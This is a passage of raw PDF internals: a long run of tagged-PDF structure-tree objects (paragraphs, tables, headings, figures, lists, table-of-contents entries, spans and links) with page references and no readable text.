R +/S /P +/Type /StructElem +>> +endobj +1029 0 obj +<< +/K [2] +/P 85 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +1030 0 obj +<< +/K [4308 0 R 4309 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1031 0 obj +<< +/K [13] +/P 85 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +1032 0 obj +<< +/K [14] +/P 85 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +1033 0 obj +<< +/K [15] +/P 85 0 R +/Pg 60 0 R +/S /P +/Type /StructElem +>> +endobj +1034 0 obj +<< +/K [2901 0 R 2902 0 R 2903 0 R 2904 0 R 2905 0 R] +/P 85 0 R +/Pg 61 0 R +/S /H1 +/Type /StructElem +>> +endobj +1035 0 obj +<< +/K [5] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1036 0 obj +<< +/K [6] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1037 0 obj +<< +/K [7] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1038 0 obj +<< +/K [8] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1039 0 obj +<< +/K [23] +/P 85 0 R +/Pg 61 0 R +/S /Figure +/Type /StructElem +>> +endobj +1040 0 obj +<< +/K [9] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1041 0 obj +<< +/K [10] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1042 0 obj +<< +/K [4310 0 R 4311 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1043 0 obj +<< +/K [21] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1044 0 obj +<< +/K [22] +/P 85 0 R +/Pg 61 0 R +/S /P +/Type /StructElem +>> +endobj +1045 0 obj +<< +/K [0] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1046 0 obj +<< +/K [1] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1047 0 obj +<< +/K [19] +/P 85 0 R +/Pg 62 0 R +/S /Figure +/Type /StructElem +>> +endobj +1048 0 obj +<< +/K [2] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1049 0 obj +<< +/K [3] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1050 0 obj +<< +/K [4312 0 R 4313 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1051 0 obj +<< +/K [17] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1052 0 obj +<< +/K [18] +/P 85 0 R +/Pg 62 0 R +/S /P +/Type /StructElem +>> +endobj +1053 0 obj +<< +/K [0] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1054 0 obj +<< +/K [1] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1055 0 obj +<< +/K [15] +/P 85 0 R +/Pg 63 0 R +/S /Figure +/Type /StructElem +>> +endobj +1056 0 obj +<< +/K [2] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1057 0 obj +<< +/K [3] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1058 0 obj +<< +/K [4314 0 R 4315 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1059 0 obj +<< +/K [13] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1060 0 obj +<< +/K [14] +/P 85 0 R +/Pg 63 0 R +/S /P +/Type /StructElem +>> +endobj +1061 0 obj +<< +/K [2929 0 R 2930 0 R 2931 0 R 2932 0 R 2933 0 R] +/P 85 0 R +/Pg 64 0 R +/S /H1 +/Type /StructElem +>> +endobj +1062 0 obj +<< +/K [5] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1063 0 obj +<< +/K [6] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1064 0 obj +<< +/K [7] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1065 0 obj +<< +/K [4316 0 R 4317 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1066 0 obj +<< +/K [119] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1067 0 obj +<< +/K [120] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1068 0 obj +<< +/K [121] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1069 0 obj +<< +/K [4318 0 R 4319 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1070 0 obj +<< +/K [180] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1071 0 obj +<< +/K [181] +/P 85 0 R +/Pg 64 0 R +/S /P +/Type /StructElem +>> +endobj +1072 0 obj +<< +/K [3018 0 R 3019 0 R 3020 0 R 3021 0 R 3022 0 R] +/P 85 0 R +/Pg 65 0 R +/S /H1 +/Type /StructElem +>> +endobj +1073 0 obj +<< +/K [5] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1074 0 obj +<< +/K [6] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1075 0 obj +<< +/K [7] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1076 0 obj +<< +/K [8] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1077 0 obj +<< +/K [9] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1078 0 obj +<< +/K [10] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1079 0 obj +<< +/K [11] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1080 0 obj +<< +/K [12] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1081 0 obj +<< +/K [13] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1082 0 obj +<< +/K [14] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1083 0 obj +<< +/K [15] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1084 0 obj +<< +/K [16] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1085 0 obj +<< +/K [17] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1086 0 obj +<< +/K [18] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1087 0 obj +<< +/K [19] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1088 0 obj +<< +/K [20] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1089 0 obj +<< +/K [3023 0 R 3028 0 R 3025 0 R 3029 0 R 3027 0 R] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1090 0 obj +<< +/K [26] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1091 0 obj +<< +/K [27] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1092 0 obj +<< +/K [28] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1093 0 obj +<< +/K [29] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1094 0 obj +<< +/K [30] +/P 85 0 R +/Pg 65 0 R +/S /P +/Type /StructElem +>> +endobj +1095 0 obj +<< +/A 4320 0 R +/K [4321 0 R] +/P 85 0 R +/Pg 66 0 R +/S /L +/Type /StructElem +>> +endobj +1096 0 obj +<< +/K [1] +/P 85 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +1097 0 obj +<< +/K [4322 0 R 4323 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1098 0 obj +<< +/K [50] +/P 85 0 R +/Pg 66 0 R +/S /P +/Type /StructElem +>> +endobj +1099 0 obj +<< +/A 4324 0 R +/K [4325 0 R] +/P 85 0 R +/Pg 67 0 R +/S /L +/Type /StructElem +>> +endobj +1100 0 obj +<< +/K [1] +/P 85 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +1101 0 obj +<< +/K [4326 0 R 4327 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1102 0 obj +<< +/K [38] +/P 85 0 R +/Pg 67 0 R +/S /P +/Type /StructElem +>> +endobj +1103 0 obj +<< +/A 4328 0 R +/K [4329 0 R] +/P 85 0 R +/Pg 67 0 R +/S /L +/Type /StructElem +>> +endobj +1104 0 obj +<< +/A 4330 0 R +/K [4331 0 R] +/P 85 0 R +/Pg 68 0 R +/S /L +/Type /StructElem +>> +endobj +1105 0 obj +<< +/K [1] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1106 0 obj +<< +/K [4332 0 R 4333 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1107 0 obj +<< +/K [22] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1108 0 obj +<< +/K [23] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1109 0 obj +<< +/A 4334 0 R +/K [4335 0 R 4336 0 R] +/P 85 0 R +/Pg 68 0 R +/S /L +/Type /StructElem +>> +endobj +1110 0 obj +<< +/K [28] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1111 0 obj +<< +/K [29] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1112 0 obj +<< +/K [30] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1113 0 obj +<< +/K [3130 0 R 3177 0 R 3132 0 R] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1114 0 obj +<< +/K [34] +/P 85 0 R +/Pg 68 0 R +/S /P +/Type /StructElem +>> +endobj +1115 0 obj +<< +/K [4337 0 R 4338 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1116 0 obj +<< +/K [4339 0 R 4340 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1117 0 obj +<< +/K [29] +/P 85 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +1118 0 obj +<< +/K [30] +/P 85 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +1119 0 obj +<< +/K [4341 0 R 4342 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1120 0 obj +<< +/K [45] +/P 85 0 R +/Pg 69 0 R +/S /P +/Type /StructElem +>> +endobj +1121 0 obj +<< +/K [0] +/P 85 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +1122 0 obj +<< +/K [1] +/P 85 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +1123 0 obj +<< +/K [4343 0 R 4344 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1124 0 obj +<< +/K [33] +/P 85 0 R +/Pg 70 0 R +/S /P +/Type /StructElem +>> +endobj +1125 0 obj +<< +/K [4345 0 R 4346 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1126 0 obj +<< +/K [4347 0 R 4348 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1127 0 obj +<< +/K [39] +/P 85 0 R +/Pg 71 0 R +/S /P +/Type /StructElem +>> +endobj +1128 0 obj +<< +/K [3285 0 R 3286 0 R 3287 0 R 3288 0 R 3289 0 R 3290 0 R 3291 0 R] +/P 85 0 R +/Pg 72 0 R +/S /H1 +/Type /StructElem +>> +endobj +1129 0 obj +<< +/K [7] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1130 0 obj +<< +/K [8] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1131 0 obj +<< +/K [9] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1132 0 obj +<< +/K [10] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1133 0 obj +<< +/K [11] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1134 0 obj +<< +/K [12] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1135 0 obj +<< +/K [4349 0 R 4350 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1136 0 obj +<< +/K [34] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1137 0 obj +<< +/K [35] +/P 85 0 R +/Pg 72 0 R +/S /P +/Type /StructElem +>> +endobj +1138 0 obj +<< +/K [0] +/P 85 0 R +/Pg 73 0 R +/S /P +/Type /StructElem +>> +endobj +1139 0 obj +<< +/K [4351 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1140 0 obj +<< +/K [4352 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1141 0 obj +<< +/K [4353 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1142 0 obj +<< +/K [4354 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1143 0 obj +<< +/K [4355 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1144 0 obj +<< +/K [4356 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1145 0 obj +<< +/K [4357 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1146 0 obj +<< +/K [4358 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1147 0 obj +<< +/K [4359 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1148 0 obj +<< +/K [4360 0 R] +/P 85 0 R +/S /Table +/Type /StructElem +>> +endobj +1149 0 obj +<< +/K [38] +/P 85 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +1150 0 obj +<< +/K [39] +/P 85 0 R +/Pg 82 0 R +/S /P +/Type /StructElem +>> +endobj +1151 0 obj +<< +/K [3891 0 R 3892 0 R 3893 0 R 3894 0 R 3895 0 R] +/P 85 0 R +/Pg 83 0 R +/S /H1 +/Type /StructElem +>> +endobj +1152 0 obj +<< +/K [5] +/P 85 0 R +/Pg 83 0 R +/S /P +/Type /StructElem +>> +endobj +1153 0 obj +<< +/K [3896 0 R 4361 0 R 4362 0 R 4363 0 R 4364 0 R 4365 0 R 4366 0 R 4367 0 R 4368 0 R 4369 0 R +4370 0 R 4371 0 R 4372 0 R 4373 0 R 4374 0 R 4375 0 R 4376 0 R 4377 0 R 4378 0 R 4379 0 R +4380 0 R 4381 0 R 4382 0 R 4383 0 R 4384 0 R 4385 0 R 4386 0 R 4387 0 R 4388 0 R 4389 0 R +4390 0 R] +/P 85 0 R +/Pg 83 0 R +/S /TOC +/Type /StructElem +>> +endobj +1154 0 obj +<< +/K [3986 0 R 4391 0 R 4392 0 R 4393 0 R 4394 0 R 4395 0 R 4396 0 R 4397 0 R 4398 0 R 4399 0 R +4400 0 R 4401 0 R 4402 0 R 4403 0 R 4404 0 R 4405 0 R 4406 0 R 4407 0 R 4408 0 R 4409 0 R +4410 0 R 4411 0 R 4412 0 R 4413 0 R 4414 0 R 4037 0 R] +/P 85 0 R +/Pg 84 0 R +/S /TOC +/Type /StructElem +>> +endobj +1155 0 obj +<< +/K 1 +/P 491 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1156 0 obj +<< +/K 2 +/P 1185 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1157 0 obj +<< +/K 3 +/P 491 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1158 0 obj +<< +/K 7 +/P 495 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1159 0 obj +<< +/K 8 +/P 1186 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1160 0 obj +<< +/K 9 +/P 495 0 R +/Pg 8 0 R +/S /Span +/Type /StructElem +>> +endobj +1161 0 obj +<< +/K [11] +/P 4415 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1162 0 obj +<< +/K [12] +/P 4416 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1163 0 obj +<< +/K [13] +/P 4417 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1164 0 obj +<< +/K [14] +/P 4418 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1165 0 obj +<< +/K [15] +/P 4419 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1166 0 obj +<< +/K [16] +/P 4420 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1167 0 obj +<< +/K [17] +/P 4421 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1168 0 obj +<< +/K [18] +/P 4422 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1169 0 obj +<< +/K [19] +/P 4423 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1170 0 obj +<< +/K [20] +/P 4424 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1171 0 obj +<< +/K [21] +/P 4425 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1172 0 obj +<< +/K [22] +/P 4426 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1173 0 obj +<< +/K [23] +/P 4427 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1174 0 obj +<< +/K [24] +/P 4428 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1175 0 obj +<< +/K [25] +/P 4429 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1176 0 obj +<< +/K [26] +/P 4430 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1177 0 obj +<< +/K [27] +/P 4431 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1178 0 obj +<< +/K [28] +/P 4432 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1179 0 obj +<< +/K [29] +/P 4433 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1180 0 obj +<< +/K [30] +/P 4434 0 R +/Pg 8 0 R +/S /P +/Type /StructElem +>> +endobj +1181 0 obj +<< +/K [34] +/P 4085 0 R +/Pg 8 0 R +/S /LBody +/Type /StructElem +>> +endobj +1182 0 obj +<< +/K [35] +/P 4086 0 R +/Pg 8 0 R +/S /LBody +/Type /StructElem +>> +endobj +1183 0 obj +<< +/K [36] +/P 4087 0 R +/Pg 8 0 R +/S /LBody +/Type /StructElem +>> +endobj +1184 0 obj +<< +/K [37 38 39] +/P 4088 0 R +/Pg 8 0 R +/S /LBody +/Type /StructElem +>> +endobj +1185 0 obj +<< +/K [4435 0 R 1156 0 R] +/P 491 0 R +/Pg 8 0 R +/S /Link +/Type /StructElem +>> +endobj +1186 0 obj +<< +/K [4436 0 R 1159 0 R] +/P 495 0 R +/Pg 8 0 R +/S /Link +/Type /StructElem +>> +endobj +1187 0 obj +<< +/K [4] +/P 4090 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1188 0 obj +<< +/K [5] +/P 4091 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1189 0 obj +<< +/K [6] +/P 4092 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1190 0 obj +<< +/K [7] +/P 4093 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1191 0 obj +<< +/K [8] +/P 4094 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1192 0 obj +<< +/K [9] +/P 4095 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1193 0 obj +<< +/K [10] +/P 4096 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1194 0 obj +<< +/K [13] +/P 4098 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1195 0 obj +<< +/K [14] +/P 4099 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1196 0 obj +<< +/K [15] +/P 4100 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1197 0 obj +<< +/K [16] +/P 4101 0 R +/Pg 10 0 R +/S /LBody +/Type /StructElem +>> +endobj +1198 0 obj +<< +/K 20 +/P 522 0 R +/Pg 10 0 R +/S /Span +/Type /StructElem +>> +endobj +1199 0 obj +<< +/K 21 +/P 1202 0 R +/Pg 10 0 R +/S /Span +/Type /StructElem +>> +endobj +1200 0 obj +<< +/K 22 +/P 522 0 R +/Pg 10 0 R +/S /Span +/Type /StructElem +>> +endobj +1201 0 obj +<< +/K [23] +/P 523 0 R +/Pg 10 0 R +/S /P +/Type /StructElem +>> +endobj +1202 0 obj +<< +/K [4437 0 R 1199 0 R] +/P 522 0 R +/Pg 10 0 R +/S /Link +/Type /StructElem +>> +endobj +1203 0 obj +<< +/K [1] +/P 525 0 R +/Pg 11 0 R +/S /TOCI +/Type /StructElem +>> +endobj +1204 0 obj +<< +/K 2 +/P 1298 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1205 0 obj +<< +/K 3 +/P 4102 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1206 0 obj +<< +/K [4] +/P 4102 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1207 0 obj +<< +/K 5 +/P 4102 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1208 0 obj +<< +/K 6 +/P 1299 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1209 0 obj +<< +/K 7 +/P 4103 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1210 0 obj +<< +/K [8] +/P 4103 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1211 0 obj +<< +/K 9 +/P 4103 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1212 0 obj +<< +/K 10 +/P 1300 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1213 0 obj +<< +/K 11 +/P 4104 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1214 0 obj +<< +/K [12] +/P 4104 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1215 0 obj +<< +/K 13 +/P 4104 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1216 0 obj +<< +/K 14 +/P 1301 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1217 0 obj +<< +/K 15 +/P 4105 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1218 0 obj +<< +/K 16 +/P 1302 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1219 0 obj +<< +/K 17 +/P 4106 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1220 0 obj +<< +/K [18] +/P 4106 0 R +/Pg 11 0 R +/S /Link +/Type /StructElem +>> +endobj +1221 0 obj +<< +/K 19 +/P 4106 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1222 0 obj +<< +/K 20 +/P 1303 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1223 0 obj +<< +/K 21 +/P 4107 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1224 0 obj +<< +/K 22 +/P 1304 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1225 0 obj +<< +/K 23 +/P 4108 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1226 0 obj +<< +/K 24 +/P 1305 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1227 0 obj +<< +/K 25 +/P 4109 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1228 0 obj +<< +/K 26 +/P 1306 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1229 0 obj +<< +/K 27 +/P 4110 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1230 0 obj +<< +/K 28 +/P 1307 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1231 0 obj +<< +/K 29 +/P 4111 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1232 0 obj +<< +/K 30 +/P 1308 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1233 0 obj +<< +/K 31 +/P 4112 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1234 0 obj +<< +/K 32 +/P 1309 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1235 0 obj +<< +/K 33 +/P 4113 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1236 0 obj +<< +/K 34 +/P 1310 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1237 0 obj +<< +/K 35 +/P 4114 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1238 0 obj +<< +/K 36 +/P 1311 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1239 0 obj +<< +/K 37 +/P 4115 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1240 0 obj +<< +/K 38 +/P 1312 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1241 0 obj +<< +/K 39 +/P 4116 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1242 0 obj +<< +/K 40 +/P 1313 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1243 0 obj +<< +/K 41 +/P 4117 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1244 0 obj +<< +/K 42 +/P 1314 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1245 0 obj +<< +/K 43 +/P 4118 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1246 0 obj +<< +/K 44 +/P 1315 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1247 0 obj +<< +/K 45 +/P 4119 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1248 0 obj +<< +/K 46 +/P 1316 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1249 0 obj +<< +/K 47 +/P 4120 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1250 0 obj +<< +/K 48 +/P 1317 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1251 0 obj +<< +/K 49 +/P 4121 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1252 0 obj +<< +/K 50 +/P 1318 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1253 0 obj +<< +/K 51 +/P 4122 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1254 0 obj +<< +/K 52 +/P 1319 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1255 0 obj +<< +/K 53 +/P 4123 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1256 0 obj +<< +/K 54 +/P 1320 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1257 0 obj +<< +/K 55 +/P 4124 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1258 0 obj +<< +/K 56 +/P 1321 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1259 0 obj +<< +/K 57 +/P 4125 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1260 0 obj +<< +/K 58 +/P 1322 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1261 0 obj +<< +/K 59 +/P 4126 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1262 0 obj +<< +/K 60 +/P 1323 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1263 0 obj +<< +/K 61 +/P 4127 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1264 0 obj +<< +/K 62 +/P 1324 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1265 0 obj +<< +/K 63 +/P 4128 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1266 0 obj +<< +/K 64 +/P 1325 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1267 0 obj +<< +/K 65 +/P 4129 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1268 0 obj +<< +/K 66 +/P 1326 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1269 0 obj +<< +/K 67 +/P 4130 0 R +/Pg 11 0 R +/S /Span +/Type /StructElem +>> +endobj +1270 0 obj +<< +/K 68 +/P 1327 0 R +/Pg 11 